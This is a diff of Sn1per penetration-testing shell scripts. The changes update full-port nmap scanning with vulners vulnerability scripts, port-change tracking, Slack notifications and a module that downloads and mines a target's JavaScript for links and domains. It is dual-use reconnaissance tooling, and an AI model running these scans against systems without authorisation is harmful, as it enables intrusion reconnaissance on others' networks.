/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Port change detected on $a (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/ports-$a.diff"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
sed -i -E 's/,//g' $LOOT_DIR/ips/ips-all-sorted.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/scans/running_${WORKSPACE}_${MODE}.txt 2> /dev/null
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $FILE [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $FILE [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
|
||||
fi
|
||||
exit
|
||||
fi
|
||||
fi
|
||||
|
|
|
|||
|
|
@ -1,12 +1,11 @@
|
|||
# FULLPORTONLY MODE
|
||||
if [ "$MODE" = "fullportonly" ]; then
|
||||
|
||||
if [ "$REPORT" = "1" ]; then
|
||||
if [[ "$MODE" = "fullportonly" ]]; then
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
args="-t $TARGET"
|
||||
if [ ! -z "$WORKSPACE" ]; then
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $LOOT_DIR 2> /dev/null
|
||||
mkdir $LOOT_DIR/domains 2> /dev/null
|
||||
mkdir $LOOT_DIR/screenshots 2> /dev/null
|
||||
|
|
@ -17,50 +16,96 @@ if [ "$MODE" = "fullportonly" ]; then
|
|||
mkdir $LOOT_DIR/output 2> /dev/null
|
||||
fi
|
||||
args="$args --noreport -m fullportonly"
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-fullnmapscan.txt
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport " >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
exit
|
||||
fi
|
||||
|
||||
logo
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
|
||||
if [ -z "$PORT" ]; then
|
||||
nmap -vv -sT -sV -O -A -T4 -oX $LOOT_DIR/nmap/nmap-$TARGET-fullport.xml -p $FULL_PORTSCAN_PORTS $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET
|
||||
cp -f $LOOT_DIR/nmap/nmap-$TARGET-fullport.xml $LOOT_DIR/nmap/nmap-$TARGET.xml 2> /dev/null
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null
|
||||
xsltproc $INSTALL_DIR/bin/nmap-bootstrap.xsl $LOOT_DIR/nmap/nmap-$TARGET.xml -o $LOOT_DIR/nmap/nmapreport-$TARGET.html 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED PERFORMING UDP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
nmap -Pn -sU -sV -A -T4 -v -p $DEFAULT_UDP_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET-fullport-udp.xml
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/nmap/nmap-$TARGET-udp 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET-udp.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/nmap-$TARGET-udp 2> /dev/null
|
||||
else
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED PERFORMING TCP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
nmap -Pn -A -v -sV -T4 -p $PORT $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET-tcp-port$PORT.xml | tee $LOOT_DIR/nmap/nmap-$TARGET
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null
|
||||
xsltproc $INSTALL_DIR/bin/nmap-bootstrap.xsl $LOOT_DIR/nmap/nmap-$TARGET.xml -o $LOOT_DIR/nmap/nmapreport-$TARGET.html 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED PERFORMING UDP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
nmap -Pn -A -v -sV -T4 -sU -p $PORT -Pn $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET-udp-port$PORT.xml | tee $LOOT_DIR/nmap/nmap-$TARGET-udp
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/nmap/nmap-$TARGET-udp 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET-udp.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/nmap-$TARGET-udp 2> /dev/null
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED DONE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
|
||||
if [[ -f "/usr/share/sniper/pro/.portscanner.conf" ]]; then
|
||||
source /usr/share/sniper/pro/.portscanner.conf
|
||||
fi
|
||||
if [[ -z "$PORT" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED PERFORMING TCP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap $NMAP_OPTIONS -sU -sS --script=/usr/share/nmap/scripts/vulners -oX $LOOT_DIR/nmap/nmap-$TARGET.xml -p $FULL_PORTSCAN_PORTS $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null
|
||||
xsltproc $INSTALL_DIR/bin/nmap-bootstrap.xsl $LOOT_DIR/nmap/nmap-$TARGET.xml -o $LOOT_DIR/nmap/nmapreport-$TARGET.html 2> /dev/null
|
||||
else
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED PERFORMING TCP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap $NMAP_OPTIONS -sU -sS --script=/usr/share/nmap/scripts/vulners -p $PORT -oX $LOOT_DIR/nmap/nmap-$TARGET-tcp-port$PORT.xml $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null
|
||||
xsltproc $INSTALL_DIR/bin/nmap-bootstrap.xsl $LOOT_DIR/nmap/nmap-$TARGET.xml -o $LOOT_DIR/nmap/nmapreport-$TARGET.html 2> /dev/null
|
||||
fi
|
||||
cp -f $LOOT_DIR/nmap/nmapreport-$TARGET.html $LOOT_DIR/nmap/nmapreport-$TARGET-`date +"%Y-%m-%d-%H-%M"`.html 2> /dev/null
|
||||
echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
|
||||
rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
HOST_UP=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2> /dev/null | grep "host up" 2> /dev/null)
|
||||
if [[ ${#HOST_UP} -ge 2 ]]; then
|
||||
echo "$TARGET" >> $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null
|
||||
fi
|
||||
sort -u $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null > $LOOT_DIR/nmap/livehosts-sorted.txt 2> /dev/null
|
||||
mv -f $LOOT_DIR/nmap/ports-$TARGET.txt $LOOT_DIR/nmap/ports-$TARGET.old 2> /dev/null
|
||||
for PORT in `cat $LOOT_DIR/nmap/nmap-$TARGET.xml $LOOT_DIR/nmap/nmap-$TARGET-*.xml 2>/dev/null | egrep 'state="open"' | cut -d' ' -f3 | cut -d\" -f2 | sort -u | grep '[[:digit:]]'`; do
|
||||
echo "$PORT " >> $LOOT_DIR/nmap/ports-$TARGET.txt
|
||||
done
|
||||
diff $LOOT_DIR/nmap/ports-$TARGET.old $LOOT_DIR/nmap/ports-$TARGET.txt 2> /dev/null > $LOOT_DIR/nmap/ports-$TARGET.diff 2> /dev/null
|
||||
cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2>/dev/null | egrep "MAC Address:" | awk '{print $3 " " $4 " " $5 " " $6}' > $LOOT_DIR/nmap/macaddress-$TARGET.txt 2> /dev/null
|
||||
cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt $LOOT_DIR/output/nmap-$TARGET-*.txt 2>/dev/null | egrep "OS details:|OS guesses:" | cut -d\: -f2 | sed 's/,//g' | head -c50 - > $LOOT_DIR/nmap/osfingerprint-$TARGET.txt 2> /dev/null
|
||||
if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET.txt"
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET-udp.txt"
|
||||
fi
|
||||
if [[ -s "$LOOT_DIR/nmap/ports-$TARGET.diff" ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Port change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
cat $LOOT_DIR/nmap/ports-$TARGET.diff 2> /dev/null | egrep "<|>" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
if [[ "$SLACK_NOTIFICATIONS_NMAP_DIFF" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Port change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/ports-$TARGET.diff"
|
||||
fi
|
||||
fi
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING SC0PE PASSIVE WEB VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
SSL="false"
|
||||
PORT="80"
|
||||
source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
|
||||
SSL="true"
|
||||
PORT="443"
|
||||
source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
|
||||
for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do
|
||||
source $file
|
||||
done
|
||||
source $INSTALL_DIR/modes/sc0pe-network-scan.sh
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
source $INSTALL_DIR/modes/sc0pe.sh
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SCAN COMPLETE! $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
loot
|
||||
exit
|
||||
fi
|
||||
|
||||
if [ "$MODE" = "port" ]; then
|
||||
if [ -z "$PORT" ]; then
|
||||
if [[ "$MODE" = "port" ]]; then
|
||||
if [[ -z "$PORT" ]]; then
|
||||
echo -e "$OKRED + -- --=[Error: You need to enter a port number. $RESET"
|
||||
exit
|
||||
fi
|
||||
|
|
|
|||
|
|
@ -1,21 +1,54 @@
|
|||
if [ "$FULLNMAPSCAN" = "0" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$FULLNMAPSCAN" = "0" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SKIPPING FULL NMAP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
else
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING FULL PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
#nmap -Pn -A -v -T4 -p$DEFAULT_TCP_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt
|
||||
nmap -vv -sT -sV -O -A -T4 -oX $LOOT_DIR/nmap/nmap-$TARGET-fullport.xml -p $FULL_PORTSCAN_PORTS $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET
|
||||
cp -f $LOOT_DIR/nmap/nmap-$TARGET-fullport.xml $LOOT_DIR/nmap/nmap-$TARGET.xml 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED PERFORMING TCP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per full portscan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per full portscan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
mv -f $LOOT_DIR/nmap/ports-$TARGET.txt $LOOT_DIR/nmap/ports-$TARGET.old 2> /dev/null
|
||||
nmap $NMAP_OPTIONS -sU -sS --script=/usr/share/nmap/scripts/vulners -oX $LOOT_DIR/nmap/nmap-$TARGET.xml -p $FULL_PORTSCAN_PORTS $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null
|
||||
xsltproc $INSTALL_DIR/bin/nmap-bootstrap.xsl $LOOT_DIR/nmap/nmap-$TARGET.xml -o $LOOT_DIR/nmap/nmapreport-$TARGET.html 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED PERFORMING UDP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
nmap -Pn -sU -sV -A -T4 -v -p $DEFAULT_UDP_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET-fullport-udp.xml | tee $LOOT_DIR/nmap/nmap-$TARGET-udp
|
||||
cp -f $LOOT_DIR/nmap/nmapreport-$TARGET.html $LOOT_DIR/nmap/nmapreport-$TARGET-`date +"%Y-%m-%d-%H-%M"`.html 2> /dev/null
|
||||
if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET.txt"
|
||||
fi
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/nmap/nmap-$TARGET-udp 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET-udp.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null
|
||||
HOST_UP=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2> /dev/null | grep "host up" 2> /dev/null)
|
||||
if [[ ${#HOST_UP} -ge 2 ]]; then
|
||||
echo "$TARGET" >> $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null
|
||||
fi
|
||||
sort -u $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null > $LOOT_DIR/nmap/livehosts-sorted.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/ports-$TARGET.txt 2> /dev/null
|
||||
for PORT in `cat $LOOT_DIR/nmap/nmap-$TARGET.xml $LOOT_DIR/nmap/nmap-$TARGET-*.xml 2>/dev/null | egrep 'state="open"' | cut -d' ' -f3 | cut -d\" -f2 | sort -u | grep '[[:digit:]]'`; do
|
||||
echo "$PORT " >> $LOOT_DIR/nmap/ports-$TARGET.txt
|
||||
done
|
||||
diff $LOOT_DIR/nmap/ports-$TARGET.old $LOOT_DIR/nmap/ports-$TARGET.txt 2> /dev/null > $LOOT_DIR/nmap/ports-$TARGET.diff 2> /dev/null
|
||||
|
||||
cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2>/dev/null | egrep "MAC Address:" | awk '{print $3 " " $4 " " $5 " " $6}' > $LOOT_DIR/nmap/macaddress-$TARGET.txt 2> /dev/null
|
||||
|
||||
cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt $LOOT_DIR/output/nmap-$TARGET-*.txt 2>/dev/null | egrep "OS details:|OS guesses:" | cut -d\: -f2 | sed 's/,//g' | head -c50 - > $LOOT_DIR/nmap/osfingerprint-$TARGET.txt 2> /dev/null
|
||||
|
||||
if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET-udp.txt"
|
||||
fi
|
||||
if [[ -s "$LOOT_DIR/nmap/ports-$TARGET.diff" ]]; then
|
||||
if [[ "$SLACK_NOTIFICATIONS_NMAP_DIFF" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Port change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/ports-$TARGET.diff"
|
||||
fi
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Port change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
cat $LOOT_DIR/nmap/ports-$TARGET.diff | egrep "<|>" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
fi
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per full portscan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per full portscan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
fi
|
||||
|
|
@ -0,0 +1,36 @@
|
|||
mkdir -p $LOOT_DIR/web/javascript/$TARGET 2> /dev/null
|
||||
cd $LOOT_DIR/web/javascript/$TARGET
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DOWNLOADING ALL JAVASCRIPT FILES $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
egrep --binary-files=text "\.js" $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -v '.json|.jsp'
|
||||
for a in `egrep --binary-files=text "\.js" $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -v '.json|.jsp' | head -n $MAX_JAVASCRIPT_FILES | cut -d\? -f1 | sort -u`; do echo "Downloading - $a" && FILENAME=$(echo "$a" | awk -F/ '{print $(NF-0)}') && curl --connect-timeout 10 --max-time 10 -s -R -L --insecure $a | js-beautify - > $FILENAME 2> /dev/null; done;
|
||||
for a in `egrep --binary-files=text "\.js" $LOOT_DIR/web/weblinks-htt*-$TARGET.txt 2> /dev/null | egrep -v '.json|.jsp' | egrep -i 'http' | head -n $MAX_JAVASCRIPT_FILES | cut -d\? -f1 | sort -u`; do echo "Downloading - $a" && FILENAME=$(echo "$a" | awk -F/ '{print $(NF-0)}') && curl --connect-timeout 10 --max-time 10 -s -R -L --insecure $a | js-beautify - > $FILENAME 2> /dev/null; done;
|
||||
for a in `egrep --binary-files=text "\.js" $LOOT_DIR/web/weblinks-htt*-$TARGET.txt 2> /dev/null | egrep -v '.json|.jsp' | egrep -iv 'http' | head -n $MAX_JAVASCRIPT_FILES | cut -d\? -f1 | sort -u`; do echo "Downloading - https://$a" && FILENAME=$(echo "https://$a" | awk -F/ '{print $(NF-0)}') && curl --connect-timeout 10 --max-time 10 -s -R -L --insecure $a | js-beautify - > $FILENAME 2> /dev/null; done;
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING ALL JAVASCRIPT COMMENTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/javascript/$TARGET/*.js 2> /dev/null | egrep "\/\/|\/\*" | sort -u | tee $LOOT_DIR/web/javascript-$TARGET-comments.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING ALL JAVASCRIPT LINKS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/javascript/$TARGET/*.js 2> /dev/null | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | tee $LOOT_DIR/web/javascript-$TARGET-urls.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING LINKFINDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cd $PLUGINS_DIR/LinkFinder/
|
||||
for a in `ls $LOOT_DIR/web/javascript/$TARGET/*.js 2> /dev/null`; do echo "Analyzing - $a" && FILENAME=$(echo "$a" | awk -F/ '{print $(NF-0)}') && python3 linkfinder.py -d -i $a -o cli 2> /dev/null | egrep -v "application\/|SSL error" > $LOOT_DIR/web/javascript-linkfinder-$TARGET-$FILENAME.txt 2> /dev/null; done;
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING PATH RELATIVE LINKS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/javascript-linkfinder-$TARGET-*.txt 2> /dev/null | grep -v "Running " | awk '{print $1}' | sort -u | tee $LOOT_DIR/web/javascript-$TARGET-path-relative.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING JAVASCRIPT URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
grep -h http $LOOT_DIR/web/javascript-linkfinder-$TARGET-*.txt 2> /dev/null | grep -v "Running " | awk '{print $1}' | egrep "http\:\/\/|https\:\/\/" | sort -u | tee $LOOT_DIR/web/javascript-$TARGET-linkfinder-urls.txt
|
||||
sort -u $LOOT_DIR/web/javascript-$TARGET-urls.txt $LOOT_DIR/web/javascript-$TARGET-linkfinder-urls.txt 2> /dev/null > $LOOT_DIR/web/javascript-$TARGET-urls-sorted.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING JAVASCRIPT DOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
grep -h http $LOOT_DIR/web/javascript-linkfinder-$TARGET-*.txt 2> /dev/null | grep -v "Running " | awk '{print $1}' | egrep "http\:\/\/|https\:\/\/" | cut -d\/ -f3 | sort -u | tee $LOOT_DIR/web/javascript-$TARGET-domains.txt
|
||||
WEB_JAVASCRIPT_ANALYSIS="0"
|
||||
|
|
@ -0,0 +1,73 @@
|
|||
# MASSWEB MODE #####################################################################################################
|
||||
